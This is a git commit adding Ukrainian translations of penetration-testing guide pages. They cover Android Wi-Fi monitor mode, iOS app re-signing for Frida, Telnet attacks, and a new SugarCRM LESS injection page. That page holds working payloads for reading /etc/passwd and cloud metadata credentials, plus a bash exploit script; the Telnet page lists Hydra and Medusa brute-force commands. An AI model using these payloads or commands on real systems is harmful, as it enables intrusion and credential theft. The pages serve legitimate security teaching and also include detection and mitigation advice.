Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena

This commit is contained in:
Translator 2025-07-15 10:46:42 +00:00
parent c7417a1c44
commit a5a3990c3c
6 changed files with 105 additions and 23 deletions

View File

@ -544,6 +544,7 @@
# 🕸️ Pentesting Web
- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md)
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)

View File

@ -3,13 +3,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Огляд
Більшість сучасних телефонів Android оснащені чіпсетом Wi-Fi Broadcom/Cypress, який постачається без можливостей режиму моніторингу 802.11 або ін'єкції кадрів. Відкритий фреймворк NexMon патчує власне ПЗ, щоб додати ці функції та надає їх через спільну бібліотеку (`libnexmon.so`) та CLI допоміжний засіб (`nexutil`). Завантажуючи цю бібліотеку в стандартний драйвер Wi-Fi, пристрій з root-доступом може захоплювати сирий трафік 802.11 та ін'єктувати довільні кадри усуваючи необхідність у зовнішньому USB-адаптері.
Більшість сучасних телефонів Android оснащені чіпсетом Wi-Fi Broadcom/Cypress, який постачається без можливостей режиму моніторингу 802.11 або ін'єкції кадрів. Відкритий фреймворк NexMon патчує власне ПЗ, щоб додати ці функції та надає їх через спільну бібліотеку (`libnexmon.so`) та CLI допоміжну програму (`nexutil`). Завантажуючи цю бібліотеку в стандартний драйвер Wi-Fi, пристрій з root-доступом може захоплювати сирий трафік 802.11 та ін'єктувати довільні кадри усуваючи необхідність у зовнішньому USB-адаптері.
Ця сторінка документує швидкий робочий процес, який використовує повністю патчений Samsung Galaxy S10 (BCM4375B1) як приклад, використовуючи:
* Модуль NexMon Magisk, що містить патчений прошивку + `libnexmon.so`
* Додаток Hijacker для автоматизації перемикання режиму моніторингу
* Додатковий Kali NetHunter chroot для запуску класичних бездротових інструментів (aircrack-ng, wifite, mdk4 …) безпосередньо проти внутрішнього інтерфейсу
* Додатково Kali NetHunter chroot для запуску класичних бездротових інструментів (aircrack-ng, wifite, mdk4 …) безпосередньо проти внутрішнього інтерфейсу
Та ж техніка застосовується до будь-якого телефону, для якого доступний публічний патч NexMon (Pixel 1, Nexus 6P, Galaxy S7/S8 тощо).
@ -22,8 +22,8 @@
* NexMon Magisk ZIP або самостійно скомпільований патч, що надає:
* `/system/lib*/libnexmon.so`
* `/system/xbin/nexutil`
* Hijacker ≥ 1.7 (arm/arm64) https://github.com/chrisk44/Hijacker
* (Додатково) Kali NetHunter або будь-який Linux chroot, де ви плануєте запускати бездротові інструменти
* Hijacker ≥ 1.7 (arm/arm64) [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker)
* (Необов'язково) Kali NetHunter або будь-який Linux chroot, де ви плануєте запускати бездротові інструменти
---
@ -51,9 +51,9 @@ svc wifi disable; ifconfig wlan0 up; nexutil -s0x613 -i -v2
Disable monitor mode:
nexutil -m0; svc wifi enable
```
Увімкніть “Start monitor mode on airodump start”, щоб кожен скан Hijacker відбувався в рідному моніторному режимі (`wlan0` замість `wlan0mon`).
Увімкніть “Start monitor mode on airodump start”, щоб кожен скан Hijacker відбувався в рідному моніторинговому режимі (`wlan0` замість `wlan0mon`).
Якщо Hijacker показує помилки під час запуску, створіть необхідний каталог на загальному сховищі та знову відкрийте додаток:
Якщо Hijacker показує помилки під час запуску, створіть необхідний каталог на спільному сховищі та знову відкрийте додаток:
```bash
mkdir -p /storage/emulated/0/Hijacker
```
@ -115,7 +115,7 @@ wifite -i wlan0 # або aircrack-ng, mdk4 …
## Усунення неполадок
* `Device or resource busy` переконайтеся, що **сервіс Wi-Fi Android вимкнено** (`svc wifi disable`) перед увімкненням моніторного режиму.
* `nexutil: ioctl(PRIV_MAGIC) failed` бібліотека не попередньо завантажена; перевірте шлях `LD_PRELOAD`.
* Ін'єкція кадрів працює, але пакети не захоплені деякі ROM жорстко блокують канали; спробуйте `nexutil -c <channel>` або `iwconfig wlan0 channel <n>`.
* Ін'єкція кадрів працює, але пакети не захоплюються деякі ROM жорстко блокують канали; спробуйте `nexutil -c <channel>` або `iwconfig wlan0 channel <n>`.
* SELinux блокує бібліотеку встановіть пристрій у *Permissive* або виправте контекст модуля: `chcon u:object_r:system_lib_file:s0 libnexmon.so`.
---

View File

@ -6,9 +6,9 @@
Застосунки, підписані з **правом `get_task_allow`**, дозволяють стороннім застосункам виконувати функцію **`task_for_pid()`** з ідентифікатором процесу початкового застосунку як аргумент, щоб отримати порт завдання над ним (мати можливість контролювати його та отримувати доступ до його пам'яті).
Однак це не так просто, як просто витягти IPA, повторно підписати його з правом і завантажити назад на ваш пристрій. Це пов'язано з захистом FairPlay. Коли підпис змінюється, ключ DRM (управління цифровими правами) **анулюється, і застосунок не працюватиме**.
Однак це не так просто, як просто витягти IPA, повторно підписати його з правом і завантажити назад на ваш пристрій. Це пов'язано з захистом FairPlay. Коли підпис зміниється, ключ DRM (управління цифровими правами) **стає недійсним, і застосунок не працюватиме**.
З старим джейлбрейкнутим пристроєм можливо встановити IPA, **декодувати його за допомогою вашого улюбленого інструменту** (такого як Iridium або frida-ios-dump) і витягти його з пристрою. Хоча, якщо це можливо, рекомендується просто запитати у клієнта декодований IPA.
З старим джейлбрейкнутим пристроєм можна встановити IPA, **декодувати його за допомогою вашого улюбленого інструменту** (такого як Iridium або frida-ios-dump) і витягти його з пристрою. Хоча, якщо це можливо, рекомендується просто запитати у клієнта декодований IPA.
## Отримати декодований IPA
@ -19,7 +19,7 @@
2. Встановіть і запустіть [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) на вашому macos
3. Відкрийте `Terminal` на вашому Mac і перейдіть до `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. IPA з'явиться в цій папці пізніше.
4. Ви повинні побачити свій iOS пристрій. Двічі клацніть на ньому, а потім натисніть Додати + → Застосунки у верхньому меню.
5. Після натискання Додати, Configurator завантажить IPA з Apple і спробує надіслати його на ваш пристрій. Якщо ви раніше виконали мою рекомендацію і вже встановили IPA, з'явиться запит на повторну установку застосунку.
5. Після натискання Додати, Configurator завантажить IPA з Apple і спробує надіслати його на ваш пристрій. Якщо ви слідували моїм рекомендаціям раніше і вже встановили IPA, з'явиться запит на повторну установку застосунку.
6. IPA має бути завантажено в `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`, звідки ви можете його забрати.
Перевірте [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) для отримання більш детальної інформації про цей процес.
@ -49,13 +49,13 @@ ideviceinstaller -i no-min-version.ipa -w
Після встановлення ви можете використовувати **Iridium tweak** з Cydia, щоб отримати розшифрований IPA.
### Патчинг прав та повторне підписання
### Патчування прав та повторне підписання
Щоб повторно підписати додаток з правом `get-task-allow`, доступно кілька інструментів, таких як `app-signer`, `codesign` та `iResign`. `app-signer` має дуже зручний інтерфейс, який дозволяє дуже легко повторно підписати файл IPA, вказуючи IPA для повторного підписання, **додати `get-task-allow`** та сертифікат і профіль для використання.
Щоб повторно підписати додаток з правом `get-task-allow`, доступно кілька інструментів, таких як `app-signer`, `codesign` та `iResign`. `app-signer` має дуже зручний інтерфейс, який дозволяє дуже легко повторно підписати файл IPA, вказуючи IPA для повторного підписання, **додати `get-task-allow`** та сертифікат і профіль провізії для використання.
Щодо сертифіката та профілів підписання, Apple пропонує **безкоштовні профілі підписання для розробників** для всіх облікових записів через Xcode. Просто створіть додаток і налаштуйте один. Потім налаштуйте **iPhone, щоб довіряти додаткам розробника**, перейшовши в `Settings``Privacy & Security`, і натисніть на `Developer Mode`.
З повторно підписаним IPA настав час встановити його на пристрій для пентестування:
З повторно підписаним IPA настав час встановити його на пристрій для тестування:
```bash
ideviceinstaller -i resigned.ipa -w
```
@ -92,11 +92,11 @@ objection -g "com.example.target" explore
# Or plain Frida
frida -U -f com.example.target -l my_script.js --no-pause
```
Останні версії Frida (>=16) автоматично обробляють автентифікацію вказівників та інші пом'якшення iOS 17, тому більшість існуючих скриптів працюють без додаткових налаштувань.
Останні випуски Frida (>=16) автоматично обробляють автентифікацію вказівників та інші пом'якшення iOS 17, тому більшість існуючих скриптів працюють з коробки.
### Автоматизований динамічний аналіз з MobSF (без джейлбрейка)
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) може інструментувати IPA з підписом розробника на реальному пристрої, використовуючи ту ж техніку (`get_task_allow`), і надає веб-інтерфейс з браузером файлової системи, захопленням трафіку та консоллю Frida【†L2-L3】. Найшвидший спосіб - запустити MobSF у Docker, а потім підключити ваш iPhone через USB:
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) може інструментувати IPA з підписом розробника на реальному пристрої, використовуючи ту ж техніку (`get_task_allow`), і надає веб-інтерфейс з браузером файлової системи, захопленням трафіку та консоллю Frida【】. Найшвидший спосіб - запустити MobSF у Docker, а потім підключити ваш iPhone через USB:
```bash
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -p 8000:8000 --privileged \
@ -109,7 +109,7 @@ MobSF автоматично розгорне бінарний файл, уві
### iOS 17 та застереження режиму блокування
* **Режим блокування** (Налаштування → Конфіденційність та безпека) блокує динамічний зв'язувач від завантаження непідписаних або зовнішньо підписаних динамічних бібліотек. При тестуванні пристроїв, на яких може бути увімкнено цей режим, переконайтеся, що він **вимкнений**, інакше ваші сесії Frida/objection завершаться негайно.
* Аутентифікація вказівників (PAC) застосовується на всіх пристроях A12+. Frida ≥16 прозоро обробляє зняття PAC — просто підтримуйте актуальними як *frida-server*, так і Python/CLI інструменти, коли виходить нова основна версія iOS.
* Аутентифікація вказівників (PAC) застосовується на всіх пристроях A12+. Frida ≥16 прозоро обробляє зняття PAC — просто підтримуйте актуальними як *frida-server*, так і Python/CLI інструментальний набір, коли виходить нова основна версія iOS.
## Посилання

View File

@ -73,7 +73,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
* **CVE-2023-40478 NETGEAR RAX30**: Переповнення буфера на основі стеку в команді Telnet CLI `passwd` дозволяє сусідньому зловмиснику обійти автентифікацію та виконати довільний код як root.
* **CVE-2022-39028 GNU inetutils telnetd**: Двобайтовий рядок (`0xff 0xf7` / `0xff 0xf8`) викликає розіменування NULL-вказівника, що може призвести до збою `telnetd`, в результаті чого виникає постійний DoS після кількох збоїв.
Тримайте ці CVE на увазі під час триажу вразливостей — якщо ціль працює на непатченої прошивці або застарілому демоні inetutils Telnet, ви можете мати простий шлях до виконання коду або деструктивного DoS.
Тримайте ці CVE на увазі під час триажу вразливостей — якщо ціль працює на непатченої прошивці або застарілому демоні Telnet inetutils, ви можете мати простий шлях до виконання коду або деструктивного DoS.
### Перехоплення облікових даних та атака "людина посередині"
@ -87,7 +87,7 @@ tcp.port == 23 && (telnet.data || telnet.option)
```
Для активного MITM поєднайте ARP спуфінг (наприклад, `arpspoof`/`ettercap`) з тими ж фільтрами для перехоплення паролів у комутованих мережах.
### Автоматизований брутфорс / Спрайінг паролів
### Автоматизований брутфорс / Спрей паролів
```bash
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
@ -104,7 +104,7 @@ medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
Metasploit має кілька корисних модулів:
* `auxiliary/scanner/telnet/telnet_version` виведення банера та перерахування опцій.
* `auxiliary/scanner/telnet/telnet_version` отримання банера та перерахування опцій.
* `auxiliary/scanner/telnet/brute_telnet` багатопотоковий брутфорс.
* `auxiliary/scanner/telnet/telnet_encrypt_overflow` RCE проти вразливого Solaris 9/10 Telnet (обробка опції ENCRYPT).
* `exploit/linux/mips/netgear_telnetenable` активує службу telnet за допомогою спеціально підготовленого пакета на багатьох маршрутизаторах NETGEAR.
@ -114,13 +114,13 @@ Metasploit має кілька корисних модулів:
### Укріплення та виявлення (куток синьої команди)
1. Вибирайте SSH і повністю вимкніть службу Telnet.
2. Якщо Telnet необхідний, прив'яжіть його лише до VLAN для управління, забезпечте ACL і обгорніть демон за допомогою TCP обгорток (`/etc/hosts.allow`).
2. Якщо Telnet необхідний, прив'яжіть його лише до VLAN для управління, забезпечте ACL і обгорніть демон за допомогою TCP wrappers (`/etc/hosts.allow`).
3. Замініть застарілі реалізації `telnetd` на `ssl-telnet` або `telnetd-ssl`, щоб додати шифрування транспорту, але **це лише захищає дані в русі—вгадування паролів залишається тривіальним**.
4. Моніторте вихідний трафік на порт 23; компрометації часто запускають зворотні оболонки через Telnet, щоб обійти суворі фільтри виходу HTTP.
4. Моніторте вихідний трафік на порт 23; компрометації часто запускають зворотні оболонки через Telnet, щоб обійти суворі HTTP фільтри виходу.
## Посилання
* D-Link Advisory CVE-2024-45698 Критичний Telnet RCE.
* NVD CVE-2022-39028 inetutils `telnetd` DoS.
{{#include /banners/hacktricks-training.md}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -0,0 +1,75 @@
# LESS Code Injection leading to SSRF & Local File Read
{{#include ../banners/hacktricks-training.md}}
## Огляд
LESS є популярним CSS препроцесором, який додає змінні, міксини, функції та потужну директиву `@import`. Під час компіляції движок LESS **отримує ресурси, на які посилаються в директивах `@import`** і вбудовує ("inline") їх вміст у результуючий CSS, коли використовується опція `(inline)`.
Коли додаток конкатенує **вхідні дані, контрольовані користувачем**, у рядок, який пізніше обробляється компілятором LESS, зловмисник може **впровадити довільний код LESS**. Зловживаючи `@import (inline)`, зловмисник може змусити сервер отримати:
* Локальні файли через протокол `file://` (розкриття інформації / Локальне включення файлів).
* Віддалені ресурси в внутрішніх мережах або службах метаданих хмари (SSRF).
Цю техніку було помічено в реальних продуктах, таких як **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` endpoint).
## Експлуатація
1. Визначте параметр, який безпосередньо вбудований у рядок стилю, оброблений движком LESS (наприклад, `?lm=` в SugarCRM).
2. Закрийте поточну директиву та впровадьте нові директиви. Найбільш поширені примітиви:
* `;` завершує попереднє оголошення.
* `}` закриває попередній блок (якщо потрібно).
3. Використовуйте `@import (inline) '<URL>';` для читання довільних ресурсів.
4. За бажанням впровадьте **маркер** (`data:` URI) після імпорту, щоб полегшити витяг вмісту, отриманого з скомпільованого CSS.
### Читання локальних файлів
```
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
```
Вміст файлу `/etc/passwd` з'явиться в HTTP-відповіді безпосередньо перед маркером `@@END@@`.
### SSRF Хмарні метадані
```
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
```
### Автоматизований PoC (приклад SugarCRM)
```bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
```
## Виявлення
* Шукайте динамічно згенеровані `.less` або `.css` відповіді, що містять несанітизовані параметри запиту.
* Під час перегляду коду шукайте конструкції на кшталт `"@media all { .preview { ... ${userInput} ... } }"`, передані функціям рендерингу LESS.
* Спроби експлуатації часто включають `@import`, `(inline)`, `file://`, `http://169.254.169.254` тощо.
## Заходи з пом'якшення
* Не передавайте ненадійні дані компілятору LESS.
* Якщо потрібні динамічні значення, належним чином **екрануйте**/санітуйте їх (наприклад, обмежте числовими токенами, білого списку).
* Вимкніть, коли це можливо, можливість використовувати `(inline)` імпорти або обмежте дозволені протоколи до `https`.
* Тримайте залежності в актуальному стані SugarCRM виправила цю проблему в версіях 13.0.4 та 14.0.1.
## Реальні випадки
| Продукт | Вразливий кінець | Вплив |
|---------|------------------|-------|
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Неавтентифікований SSRF та читання локальних файлів |
## Посилання
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,7 +1,13 @@
# Платформи вразливі до SSRF
# SSRF Вразливі Платформи
{{#include ../../banners/hacktricks-training.md}}
Перевірте **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
- SugarCRM ≤ 14.0.0 LESS `@import` ін'єкція в `/rest/v10/css/preview` дозволяє неавтентифікований SSRF та читання локальних файлів.
{{#ref}}
../less-code-injection-ssrf.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}